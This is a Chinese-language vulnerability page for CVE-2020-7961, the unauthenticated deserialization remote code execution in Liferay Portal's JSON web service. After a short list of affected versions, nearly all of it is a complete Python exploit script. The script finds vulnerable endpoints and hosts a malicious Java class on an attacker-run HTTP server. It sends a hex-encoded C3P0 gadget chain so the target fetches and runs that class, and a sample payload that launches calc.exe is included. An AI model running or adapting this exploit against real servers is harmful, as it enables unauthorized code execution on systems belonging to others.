CVE-2020-7961_Liferay_Portal_Json_Web_Service_反序列化漏洞_zh-cn

# CVE-2020-7961 Liferay Portal Json Web Service 反序列化漏洞/zh-cn

==漏洞影响==

Liferay Portal 6.1.X
Liferay Portal 6.2.X
Liferay Portal 7.0.X
Liferay Portal 7.1.X
Liferay Portal 7.2.X

==POC==

'''
   Title: POC for Unauthenticated Remote code execution via JSONWS (LPS-97029/CVE-2020-7961) in Liferay 7.2.0 CE GA1
   POC author: mzero
   Download link: https://sourceforge.net/projects/lportal/files/Liferay%20Portal/7.2.0%20GA1/liferay-ce-portal-tomcat-7.2.0-ga1-20190531153709761.7z/download
   Based on https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html research
   Usage: python poc.py -h
   
   Gadget used: C3P0WrapperConnPool
   
   Installation:
   pip install requests
   pip install bs4
   
   Create file LifExp.java with example content:
   public class LifExp {
       static {
       try {
           String[] cmd = {"cmd.exe", "/c", "calc.exe"};
           java.lang.Runtime.getRuntime().exec(cmd).waitFor();
       } catch ( Exception e ) {
           e.printStackTrace();
           }
       }
   }
   javac LifExp.java
   Place poc.py and LifExp.class in the same directory.
'''
import requests
import threading
import time
import sys
import argparse
import binascii
from bs4 import BeautifulSoup
from datetime import datetime
from http.server import BaseHTTPRequestHandler,HTTPServer
#import http.server
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# SET proxy
PROXIES = {}
#PROXIES = {"http":"http://127.0.0.1:9090"}

class HttpHandler(BaseHTTPRequestHandler):
   
   def do_GET(self):
       self.send_response(200)
       self.send_header('Content-type','application/java-vm')
       self.end_headers()
       f = open("LifExp.class", "rb")
       self.wfile.write(f.read())
       f.close()
       return

def log(level, msg):
   prefix = "[#] "
   if level == "error":
       prefix = "[!] "
   d = datetime.now().strftime("%d/%m/%Y %H:%M:%S")
   temp = "{} [{}] {}".format(prefix, d, msg)
   print(temp)

def find_href(body):
   soup = BeautifulSoup(body, "html.parser")
   return soup.find_all('a', href=True)
   
def find_class(body, clazz):
   soup = BeautifulSoup(body, "html.parser")
   return soup.findAll("div", {"class": clazz})

def find_id(body):
   soup = BeautifulSoup(body, "html.parser")
   return soup.findAll("form", {"id": "execute"})

def get_param(div):
   param = ""
   param_type = ""
   p_name = div.find("span", {"class": "lfr-api-param-name"})
   p_type = div.find("span", {"class": "lfr-api-param-type"})
   if p_name:
       param = p_name.text.strip()
   if p_type:
       param_type = p_type.text.strip()
       
   return (param, param_type)

def _do_get(url):
   resp = requests.get(url, proxies=PROXIES, verify=False)
   return resp
   
def do_get(host, path):
   url = "{}/{}".format(host, path)
   resp = _do_get(url)
   return resp
   
def _do_post(url, data):
   resp = requests.post(url, proxies=PROXIES, verify=False, data=data)
   return resp
   
def do_post(host, path, data):
   url = "{}/{}".format(host, path)
   resp = _do_post(url, data)
   return resp
   
def find_endpoints(host, path):
   result = []
   resp = do_get(host, path)
   links = find_href(resp.text)
   for link in links:
       if "java.lang.Object" in link['href']:
           result.append(link['href'])
   return result

def find_parameters(body):
   div_params = find_class(body, "lfr-api-param")
   params = []
   for d in div_params:
       params.append(get_param(d))
   return params

def find_url(body):
   form = find_id(body)[0]
   return form['action']

def set_params(params, payload, payload_type):
   result = {}
   for param in params:
       p_name, p_type = param
       if p_type == "java.lang.Object":
           result[p_name+":"+payload_type] = payload
       
       result[p_name] = "1"
   return result

def pad(data, length):
   return data+"\x20"*(length-len(data))
   
def exploit(host, api_url, params, PAYLOAD, PAYLOAD_TYPE):
   p = set_params(params, PAYLOAD, PAYLOAD_TYPE)
   resp = do_post(host, api_url, p)

banner = """POC author: mzero\r\nBased on https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html research"""

def main():
   print(banner)
   parser = argparse.ArgumentParser()
   parser.add_argument("-t", "--target-host", dest="target", help="target host:port", required=True)
   parser.add_argument("-u", "--api-url", dest="api_url", help="path to jsonws. Default: /api/jsonws", default="api/jsonws")
   parser.add_argument("-p", "--bind-port", dest="bind_port", help="HTTP server bind port. Default 9091", default=9091)
   parser.add_argument("-l", "--bind-ip", dest="bind_ip", help="HTTP server bind IP. Default 127.0.0.1. It can't be 0.0.0.0", default="127.0.0.1")

   args = parser.parse_args()
   bind_port  = int(args.bind_port)
   bind_ip = args.bind_ip
   target_ip = args.target
   api_url = args.api_url
   endpoints = []
   vuln_endpoints = []
   
   PAYLOAD_TYPE = "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
   PAYLOAD_PREFIX = """{"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c69664578707400c8"""
   PAYLOAD_SUFIX = """740003466f6f;"}"""

   INTERNAL = pad("http://{}:{}/".format(bind_ip, bind_port), 200)

   INTERNALB = INTERNAL.encode('utf-8')
   
   INTERNALHEX = binascii.hexlify(INTERNALB)

   PAYLOAD = PAYLOAD_PREFIX+INTERNALHEX.hex()+PAYLOAD_SUFIX
   
   
   try:
       log("info", "Looking for vulnerable endpoints: {}/{}".format(target_ip, api_url))
       endpoints = find_endpoints(target_ip, api_url)
       if not endpoints:
           log("info", "Vulnerable endpoints not found!")
           sys.exit(1)
   except Exception as ex:
       log("error", "An error occured:")
       print(ex)
       sys.exit(1)
   
   try:
       server = HTTPServer((bind_ip, bind_port), HttpHandler)
       log("info", "Started HTTP server on {}:{}".format(bind_ip, bind_port))
       th = threading.Thread(target=server.serve_forever)
       th.daemon=True
       th.start()
       
       for e in endpoints:
           resp = do_get(target_ip, e)
           params = find_parameters(resp.text)
           url_temp = find_url(resp.text)
           vuln_endpoints.append((url_temp, params))
       
       for endpoint in vuln_endpoints:
           log("info", "Probably vulnerable endpoint {}.".format(endpoint[0]))
           op = raw_input("Do you want to test it? Y/N: ")
           if op.lower() == "y":
               exploit(target_ip, endpoint[0], endpoint[1], PAYLOAD, PAYLOAD_TYPE)
               
       log("info", "CTRL+C to exit :)")
       while True:
           time.sleep(1)
   except KeyboardInterrupt:
       log("info", "Shutting down...")
       server.socket.close()
   except Exception as ex:
       log("error", "An error occured:")
       print(ex)
       sys.exit(1)
   
if __name__ == "__main__":
   main()

LifExp.java

public class LifExp {

static {
try {
String[] cmd = {"cmd.exe", "/c", "calc.exe"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容